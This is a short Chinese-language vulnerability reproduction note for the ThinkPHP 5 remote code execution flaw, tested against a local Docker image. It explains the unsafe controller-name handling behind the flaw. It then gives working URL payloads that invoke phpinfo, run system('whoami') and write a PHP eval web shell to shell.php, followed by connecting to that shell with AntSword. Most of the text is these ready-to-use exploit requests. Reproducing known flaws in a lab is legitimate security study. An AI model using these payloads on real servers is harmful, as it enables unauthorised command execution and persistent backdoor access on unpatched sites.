漏洞原因:
ThinkPHP其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞
复现过程:
1.在虚拟机中拉去thinkphp 5-rce镜像
2.访问本机地址
输出关于php的配置信息
index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
执行命令 whoami
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
查看shell文件
写入webshell
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php@eval($_POST[1]);?>
用蚁剑测试连接
连接成功,说明存在漏洞